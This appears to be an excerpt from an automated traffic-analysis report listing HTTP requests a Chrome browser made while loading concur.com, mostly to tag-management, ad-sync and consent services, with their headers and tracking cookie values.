dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1143.js?utv=ut4.39.202104161600 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1145.js?utv=ut4.39.202404161901 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1147.js?utv=ut4.39.202104222333 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1181.js?utv=ut4.39.202110112035 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=575&dpuuid=9033076558488683385 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30064&dpuuid=%7BUUID_6j5b2cv%7D HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547
Source: global traffic	HTTP traffic detected: GET /pixel.gif?ch=124&cm=77063524538646072271479213259445098681&redir=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D79908%26dpuuid%3D%7Bvisitor_id%7D HTTP/1.1Host: aorta.clickagy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1169.js?utv=ut4.39.202409041952 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.210.js?utv=ut4.39.201805151414 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.132.js?utv=ut4.39.202101210002 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.303.js?utv=ut4.39.202103101828 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1007.js?utv=ut4.39.202405201524 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1195.js?utv=ut4.39.202206021450 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1036.js?utv=ut4.39.202007161705 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.2.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&d_nsid=0&d_mid=77086837030265396271481667617469483305&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=concuruser%011486f2f9-7a8c-4199-e491-6192cc1ca748%011&ts=1727944897751 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547
Source: global traffic	HTTP traffic detected: GET /4d7mpJHG.min.js HTTP/1.1Host: scripts.demandbase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1197.js?utv=ut4.39.202202111748 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bannermsg?action=views&domain=concur.com&behavior=implied&country=us&language=en&rand=0.7051099829792011&session=35975d78-a390-494d-9ef0-cf4dd61f5a47&userType=NEW&referer=https://www.concur.com HTTP/1.1Host: consent.trustarc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=79908&dpuuid=Zv5YxMr7bME0JQVxqlPDhBNP HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=575&dpuuid=9033076558488683385 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547\|121998-1-1727944899411
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30064&dpuuid=%7BUUID_6j5b2cv%7D HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547\|121998-1-1727944899411
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1200.js?utv=ut4.39.202303281945 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;src=9504840;type=pagev0;cat=homep0;ord=1246699449049.1533? HTTP/1.1Host: 9504840.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1206.js?utv=ut4.39.202206021450 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1147.js?utv=ut4.39.202104222333 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1181.js?utv=ut4.39.202110112035 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=77063524538646072271479213259445098681?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1217.js?utv=ut4.39.202206021450 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1235.js?utv=ut4.39.202209222013 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1143.js?utv=ut4.39.202104161600 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1145.js?utv=ut4.39.202404161901 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/sync?exc=lr HTTP/1.1Host: s.company-target.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CO2zmbDo8YgDFT2O_Qcd2rk2QQ;src=9504840;type=pagev0;cat=homep0;ord=1246699449049.1533? HTTP/1.1Host: 9504840.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
Source: global traffic	HTTP traffic detected: GET /activity;xsp=195742;ord=53702194? HTTP/1.1Host: pubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1239.js?utv=ut4.39.202209271833 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1287.js?utv=ut4.39.202409041647 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/concur/concur/prod/utag.1288.js?utv=ut4.39.202401172153 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /map/ct=y/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=77063524538646072271479213259445098681?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_cc=ctst
Source: global traffic	HTTP traffic detected: GET /4d7mpJHG.min.js HTTP/1.1Host: scripts.demandbase.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bannermsg?action=views&domain=concur.com&behavior=implied&country=us&language=en&rand=0.7051099829792011&session=35975d78-a390-494d-9ef0-cf4dd61f5a47&userType=NEW&referer=https://www.concur.com HTTP/1.1Host: consent.trustarc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
